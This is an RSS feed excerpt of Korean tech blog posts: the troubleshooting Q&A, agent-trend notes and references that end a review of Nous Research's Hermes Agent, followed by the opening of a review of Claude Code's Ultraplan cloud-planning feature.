&lt;p data-ke-size=&quot;size16&quot;&gt;위 비교는 2026-04-09 기준이며, 각 도구는 빠르게 변하고 있다. 정확한 기능과 가격은 각 공식 사이트에서 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: Q&amp;A --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q1: 설치 후 &lt;code&gt;hermes auth&lt;/code&gt;가 동작하지 않고 구 버전 레퍼런스와 명령어가 다르다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;hermes auth&lt;/code&gt; 명령이 v0.8.0에서 &lt;code&gt;hermes login&lt;/code&gt;을 대체했다. 구 버전 레퍼런스를 참고하고 있다면 명령어가 달라졌을 수 있다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/commits/main&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;최신 커밋(2026-04-07)&lt;/a&gt;이 이 부분을 수정했다(&lt;code&gt;fix: replace stale 'hermes login' refs with 'hermes auth'&lt;/code&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q2: &lt;code&gt;hermes setup&lt;/code&gt; 실행 후 커스텀 엔드포인트 설정이 사라졌다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v0.7.0 이전 버전에서 setup wizard가 커스텀 엔드포인트를 덮어쓰는 버그가 있었다. v0.7.0에서 수정됐다. &lt;code&gt;config.yaml&lt;/code&gt;이 엔드포인트 URL의 단일 소스로 지정됐으므로, 환경변수와 config.yaml 충돌 문제도 해결됐다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q3: openai-codex provider 사용 시 &quot;Responses API returned no output items&quot; 오류&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026-04-07 등록 후 2026-04-08 &lt;b&gt;해결(closed)&lt;/b&gt; 된 버그다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/5678&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#5678&lt;/a&gt;). gpt-5.4 스트리밍 중 output[]이 비어 있을 때 발생하는 것으로 보고됐다. 최신 버전으로 업데이트하면 해결된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q4: MCP OAuth state Pydantic 직렬화 오류가 발생한다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/pull/5677&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PR #5677&lt;/a&gt;에서 수정 중이다. Pydantic AnyUrl 필드를 MCP OAuth state 영속화 시 직렬화하지 못하는 버그다. 해당 PR이 병합되면 해결될 예정이므로, 병합 여부를 PR 페이지에서 확인 후 업데이트하는 것을 권고한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q5: Anthropic 모델 사용 중 갑자기 컨텍스트가 줄어들었다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic long-context tier 429 한도 도달 시 Hermes가 자동으로 컨텍스트를 200k로 축소한다. 의도된 동작이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q6: cron 작업이 중복 실행된다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;~/.hermes/cron/.tick.lock&lt;/code&gt; 파일이 남아 있는지와 실행 중인 cron 프로세스 상태를 먼저 확인하는 편이 안전하다. 중복 실행이 지속되면 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub 이슈 트래커&lt;/a&gt;에서 동일 증상 보고를 참고하라.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q7: &lt;code&gt;hermes setup&lt;/code&gt; 완료 직후 &lt;code&gt;OSError: [Errno 22] Invalid argument&lt;/code&gt; 크래시&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;셋업 자체는 정상 완료되지만, 마지막 단계에서 자동으로 chat을 실행하려다 크래시가 발생하는 경우다. 전체 트레이스백은 다음과 같다:&lt;/p&gt;
&lt;pre class=&quot;vhdl&quot; style=&quot;background: #1e1e2e; color: #cdd6f4; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 13px; line-height: 1.5;&quot;&gt;&lt;code&gt;File &quot;setup.py&quot;, line 2916, in _offer_launch_chat
  cmd_chat(SimpleNamespace(...))
...
File &quot;prompt_toolkit/input/vt100.py&quot;, line 165, in _attached_input
  loop.add_reader(fd, callback_wrapper)
...
OSError: [Errno 22] Invalid argument&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인&lt;/b&gt;: &lt;code&gt;prompt_toolkit&lt;/code&gt;이 stdin(fd=0)을 asyncio selector에 등록하지 못하는 것으로, stdin이 정상적인 TTY가 아닌 환경에서 발생한다. Claude Code &lt;code&gt;!&lt;/code&gt; 명령, VS Code 내장 터미널 일부, 파이프된 stdin 등이 해당된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결&lt;/b&gt;: 셋업은 이미 완료된 상태이므로, &lt;b&gt;일반 터미널&lt;/b&gt;(iTerm2, Terminal.app 등)을 별도로 열고 &lt;code&gt;hermes chat&lt;/code&gt;을 직접 실행하면 된다. &lt;code&gt;hermes setup&lt;/code&gt;을 다시 실행할 필요는 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q8: Anthropic 구독(Pro/Max)으로 Hermes를 쓰면 계정이 정지될 수 있다?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다. 2026년 4월 4일부터 Anthropic은 Claude Free/Pro/Max 구독의 OAuth 토큰을 Hermes, OpenClaw 등 제3자 도구에서 사용하는 것을 정책 위반으로 규정하고 기술적으로 차단했다. 위반 시 사전 통보 없이 계정이 정지될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결&lt;/b&gt;: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://console.anthropic.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;console.anthropic.com&lt;/a&gt;에서 API 키를 발급받아 종량제로 사용하면 된다. &lt;code&gt;hermes model&lt;/code&gt;에서 Anthropic 선택 후 API 키를 입력하면 정상 사용 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q9: &lt;code&gt;hermes gateway&lt;/code&gt; 시작 시 &lt;code&gt;InvalidToken: The token ... .png was rejected&lt;/code&gt; 에러&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;봇 토큰 입력란에 텍스트 토큰 대신 &lt;b&gt;클립보드의 스크린샷 파일 경로&lt;/b&gt;가 붙여넣기 된 경우다. 실제 에러 메시지에 &lt;code&gt;.png&lt;/code&gt; 경로가 찍힌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결&lt;/b&gt;: &lt;code&gt;hermes gateway setup&lt;/code&gt;을 다시 실행하고, BotFather에서 받은 &lt;code&gt;123456789:ABCdefGHI...&lt;/code&gt; 형태의 텍스트 토큰을 정확히 붙여넣으면 된다. macOS에서 이미지를 복사한 상태라면 클립보드를 텍스트로 덮어쓴 뒤 붙여넣기 하자.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 10 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 자율 에이전트 트렌드 맥락&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;카파시 AutoResearch와의 비교&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Andrej Karpathy의 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/karpathy/autoresearch&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AutoResearch&lt;/a&gt;는 단일 GPU에서 AI 에이전트가 5분짜리 LLM 학습 실험을 반복 실행하는 프로젝트다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes 팀은 여기서 영감을 받아 autoresearch 스킬을 개발 중이다. branch &amp;rarr; experiment &amp;rarr; evaluate &amp;rarr; merge/revert 루프로 돌아가고, ML 최적화, 코드 분석, 경쟁 정보 등 여러 도메인에 적용할 수 있다. cron으로 백그라운드 실행되며 시간/토큰/실험 횟수에 상한을 걸어둘 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AutoResearch가 ML 실험에 특화된 반면, Hermes는 같은 루프 구조를 코드 분석이나 리서치 같은 일반 작업에도 쓰려는 방향이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hermes vs OpenClaw: 공식 소개 문구 비교&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Hermes Agent&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;OpenClaw&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 포지셔닝&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;self-improving AI agent&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;personal AI assistant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대표 강점&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;built-in learning loop, persistent memory, skills&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다양한 채널에서 응답하는 다중 플랫폼 개인 비서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;라이선스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MIT&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘 다 MIT 라이선스지만, Hermes는 self-improving을, OpenClaw는 personal assistant를 전면에 내세운다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2026년 자가학습 에이전트의 방향성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티 큐레이션 저장소 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/0xNyk/awesome-hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-hermes-agent&lt;/a&gt;가 별도로 운영되고 있다. 저장소 메타데이터와 README를 통해 관련 링크와 자료를 정리하는 허브 역할을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자가학습 에이전트에서 빠지지 않는 질문이 &quot;그래서 뭘 학습한 건지 확인할 수 있나?&quot;다. Hermes는 스킬을 마크다운 파일로 저장하기 때문에 사람이 직접 열어서 내용을 확인하고 수정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub: NousResearch/hermes-agent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/releases/tag/v2026.4.3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Release v0.7.0 (태그: v2026.4.3)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;install.sh 스크립트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/4832&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #4832 (autoresearch 스킬)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/NousResearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub API: 저장소 메타데이터&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Agent 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/sessions/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Sessions 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/skills/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Skills 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://agentskills.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agentskills.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openclaw/openclaw/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenClaw GitHub README&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/releases/tag/v2026.4.8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Release v0.8.0 (태그: v2026.4.8)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/memory/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Memory 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://agentskills.io/specification&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agentskills.io Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/4379&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #4379 (토큰 오버헤드 분석)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/6440&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #6440 (webhook RCE)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/AI Agent</category>
      <category>AI 에이전트 메모리</category>
      <category>AI 에이전트 아키텍처</category>
      <category>Hermes Agent</category>
      <category>Multi-level Memory System</category>
      <category>Nous Research</category>
      <category>OpenClaw 대안</category>
      <category>persistent AI agent</category>
      <category>self-improving AI</category>
      <category>오픈소스 AI 에이전트</category>
      <category>자가학습 AI 에이전트</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/577</guid>
      <comments>https://goddaehee.tistory.com/577#entry577comment</comments>
      <pubDate>Thu, 9 Apr 2026 23:59:05 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 신기능 'Ultraplan' 리뷰 - 터미널 멈춤 없는 클라우드 플래닝(로컬 Plan Mode vs 클라우드 플래닝)</title>
      <link>https://goddaehee.tistory.com/576</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 Claude Code의 새로운 클라우드 플래닝 기능 &lt;b&gt;Ultraplan&lt;/b&gt;을 알아보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k3pal/dJMcagLSsJz/ik03H0ouV5znITwmakU260/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k3pal/dJMcagLSsJz/ik03H0ouV5znITwmakU260/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k3pal/dJMcagLSsJz/ik03H0ouV5znITwmakU260/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk3pal%2FdJMcagLSsJz%2Fik03H0ouV5znITwmakU260%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1168&quot; height=&quot;784&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 터미널에서 30분씩 멈춰 있던 플래닝 작업이 클라우드로 이동하고, 터미널은 자유를 되찾는다?? 라는 컨셉.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 그 이면에는 &quot;커스텀 skill을 쓰면 작동하지 않는다&quot;는 치명적 버그가 숨어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;약간 뜬구름 잡는 느낌일 것 같은데 하기 내용을 통해 살펴보자.&lt;/p&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Ultra Plan / Ultraplan이란 무엇인가&lt;/li&gt;
&lt;li&gt;시작하기: 가입, 설정, GitHub 연동&lt;/li&gt;
&lt;li&gt;주요 기능 상세&lt;/li&gt;
&lt;li&gt;아키텍처: 공개 정보 기반 추정&lt;/li&gt;
&lt;li&gt;실전 사용 경험과 커뮤니티 반응&lt;/li&gt;
&lt;li&gt;요금제 및 제한사항&lt;/li&gt;
&lt;li&gt;대안 비교: Ultraplan vs 로컬 Plan Mode&lt;/li&gt;
&lt;li&gt;트러블슈팅 Q&amp;amp;A + 결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Ultra Plan / Ultraplan이란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 한 줄&lt;/b&gt;: Ultraplan은 Claude Code의 플래닝 작업을 로컬 CLI에서 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/claude-code-on-the-web&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code on the web&lt;/a&gt; 클라우드 세션으로 오프로드하여, 터미널을 차단하지 않고 강력한 플래닝을 수행하는 기능이다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code를 쓰다 보면 plan mode에서 터미널이 수 분간 멈추는 경험을 한다. 복잡한 마이그레이션이나 대규모 리팩토링 작업일수록 이 &quot;터미널 병목&quot;은 더 심해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;에 따르면, Ultraplan은 로컬 CLI에서 플래닝 작업을 Anthropic이 관리하는 클라우드 VM(Claude Code on the web)으로 넘긴다. 클라우드 세션은 plan mode로 실행되며, 그 사이 로컬 터미널은 완전히 자유롭다. 현재 research preview 단계이며, &lt;b&gt;Claude Code v2.1.91 이상&lt;/b&gt;이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Ultraplan 실행 상태 모니터링&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan이 실행되면 CLI 프롬프트에 실시간 상태 표시가 나타난다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;◇ ultraplan&lt;/code&gt; : Claude가 코드베이스를 분석하고 플랜을 작성 중&lt;/li&gt;
&lt;li&gt;&lt;code&gt;◇ ultraplan needs your input&lt;/code&gt; : 확인이 필요한 질문이 있음 &amp;mdash; 세션 링크에서 응답&lt;/li&gt;
&lt;li&gt;&lt;code&gt;◆ ultraplan ready&lt;/code&gt; : 플랜 완성 &amp;mdash; 브라우저에서 리뷰 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커뮤니티 추정: 플랜 모드 분류&lt;/b&gt;&lt;br /&gt;일부 커뮤니티 분석에서는 Ultraplan 내부에 Simple Plan / Visual Plan / Deep Plan 등 복잡도별 모드가 존재한다고 추정하지만, 공식 문서에는 이러한 구분이 명시되어 있지 않다. 공식적으로 Ultraplan은 단일 plan mode 세션으로 설명된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Ultraplan과 Max Plan의 관계&lt;/h3&gt;
